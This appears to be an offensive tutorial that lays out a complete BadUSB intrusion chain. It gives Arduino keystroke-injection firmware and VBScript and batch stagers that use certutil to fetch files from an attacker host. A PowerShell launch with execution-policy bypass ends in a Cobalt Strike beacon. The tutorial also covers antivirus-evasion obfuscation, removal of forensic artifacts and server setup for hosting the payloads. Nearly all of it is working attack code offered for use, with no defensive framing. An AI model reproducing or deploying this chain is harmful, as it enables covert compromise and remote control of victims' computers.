The deployment chain utilizes a HID emulation device to trigger a multi-stage fileless execution sequence. The workflow proceeds from keystroke injection to a staging script, which retrieves a secondary batch file, ultimately downloading and executing an obfuscated PowerShell payload that establishes a Cobalt Strike beacon.

PowerShell Payload Obfuscation Strategies

Command and control stagers written in PowerShell are frequently flagged by endpoint detection solutions. Applying transformation techniques to the .ps1 artifact significantly reduces static detection rates.

Strategy 1: Direct Byte Array Embedding Instead of invoking FromBase64String at runtime, decode the shellcode offline and inject it as a raw byte array. This eliminates the suspicious decoding routine from the script body.

# Offline conversion routine
$raw_data = [System.Convert]::FromBase64String("YOUR_BASE64_SHELLCODE_HERE")
$byte_sequence = ($raw_data | ForEach-Object { $_.ToString() }) -join ','
$byte_sequence | Out-File -FilePath "C:\temp\raw_bytes.txt"

Replace the original decoding line in the stager with [Byte[]]$buffer_payload = <contents_of_txt_file>.

Strategy 2: Runtime Base64 Decoding of Core Logic Encode critical command strings or function names within the script using Base64, then decode them dynamically during execution. This disrupts static signature matching.

$encoded_fragment = "cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcw=="
$runtime_command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_fragment))
Invoke-Expression $runtime_command

Ranodmize all variable names referencing the decoded strings to avoid heuristic pattern detection.

Strategy 3: Chunked Base64 Reconstruction For enhanced evasion, split the Base64-encoded payload into multiple segments, assign them to separate variables, concatenate them at runtime, and decode. This fragments the malicious signature across the file.

$part_alpha = "TVqQAAMAAAAEAAAA//8AALgAAAA..."
$part_beta  = "AAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
$part_gamma = "U1RBU1RBQkNERUY..."
$combined_b64 = $part_alpha + $part_beta + $part_gamma
$final_shellcode = [System.Convert]::FromBase64String($combined_b64)

Validation against multi-engine scanning platforms typically demonstrates significantly reduced detection ratios with this fragmentation approach.

BadUSB Keystroke Injection Logic

The HID device is programmed to simulate keyboard input, bypass input method editors by toggling Caps Lock, and execute a minimized command prompt to fetch the initial VBScript stager.

#include <Keyboard.h>

void initialize_hid() {
  Keyboard.begin();
  delay(800);
}

void trigger_run_dialog() {
  Keyboard.press(KEY_LEFT_GUI);
  delay(150);
  Keyboard.press('r');
  delay(150);
  Keyboard.releaseAll();
  delay(400);
}

void inject_payload_command() {
  // Toggle CapsLock to neutralize IME interference
  Keyboard.write(KEY_CAPS_LOCK);
  delay(200);
  Keyboard.write(KEY_CAPS_LOCK);
  delay(300);

  // Minimized cmd fetching vbs stager via certutil
  const char* exec_cmd = "cmd /q /c mode con cols=12 lines=1 && certutil -urlcache -split -f http://<ATTACKER_IP>/init_stager.vbs %TEMP%\\init.vbs && timeout /t 1 >nul && start /B %TEMP%\\init.vbs";
  Keyboard.print(exec_cmd);
  delay(100);
  Keyboard.write(KEY_RETURN);
  delay(200);
  Keyboard.write(KEY_RETURN);
}

void setup() {
  initialize_hid();
  trigger_run_dialog();
  inject_payload_command();
  Keyboard.end();
}

void loop() {
  // Execution completes in setup
}

Compile and flash the firmware to an Arduino Leonardo or compatible ATmega32u4 board. The command utilizes certutil for native Windows file retrieval, stores the artifact in the temporary directroy, and launches it hidden.

Staged Delivery Scripts

The delivery mechanism relies on two intermediate scripts to handle network latency and ensure silent execution before the final PowerShell beacon runs.

Stage 1: VBScript Downloader (init_stager.vbs)

Dim shell_obj
Set shell_obj = CreateObject("WScript.Shell")
Dim fetch_cmd
fetch_cmd = "cmd /c certutil -urlcache -split -f http://<ATTACKER_IP>/exec_chain.bat %TEMP%\\chain.bat && start /B %TEMP%\\chain.bat"
shell_obj.Run fetch_cmd, 0, False
Set shell_obj = Nothing

This script runs invisibly (0 window style) and pulls the secondary batch file.

Stage 2: Batch Executor & Cleaner (exec_chain.bat)

@echo off
setlocal
set PS_SCRIPT=%TEMP%\beacon.ps1
set REMOTE_URL=http://<ATTACKER_IP>/beacon.ps1

certutil -urlcache -split -f %REMOTE_URL% %PS_SCRIPT% >nul 2>&1
timeout /t 2 /nobreak >nul

start /B powershell.exe -ep bypass -f %PS_SCRIPT%
timeout /t 3 /nobreak >nul

:: Artifact cleanup
del /f /q "%TEMP%\init.vbs" >nul 2>&1
del /f /q "%TEMP%\chain.bat" >nul 2>&1
del /f /q "%PS_SCRIPT%" >nul 2>&1
exit

The batch file introduces deliberate delays to accommodate network transfer times before invoking the PowerShell stager with execution policy bypass. Post-execution, it systematically removes all dropped files from the temporary directory to minimize forensic footprint.

Infrastructure Configuration

Host the three scripts (init_stager.vbs, exec_chain.bat, beacon.ps1) on a standard HTTP server. A lightweight Apache instance on a Linux distribution serves this purpose effectively.

sudo apt update && sudo apt install apache2 -y
sudo systemctl start apache2
sudo cp init_stager.vbs exec_chain.bat beacon.ps1 /var/www/html/

Ensure the IP addresses and URLs in the Arduino firmware and staging scripts match the hosting server. Inserting the programmed HID device into a target workstation will automatically trigger the chain, resulting in a silent callback to the command and control server.